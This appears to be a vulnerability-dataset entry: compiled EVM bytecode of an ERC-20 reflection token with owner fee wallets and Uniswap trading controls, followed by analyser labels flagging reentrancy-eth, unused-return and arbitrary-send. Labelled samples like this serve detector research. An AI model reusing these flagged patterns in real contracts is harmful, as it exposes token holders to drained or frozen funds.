39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601442611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bf723f80e84942f2ad4f54508e1c17c7b1bc31fbac688807acedd982351df23f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,099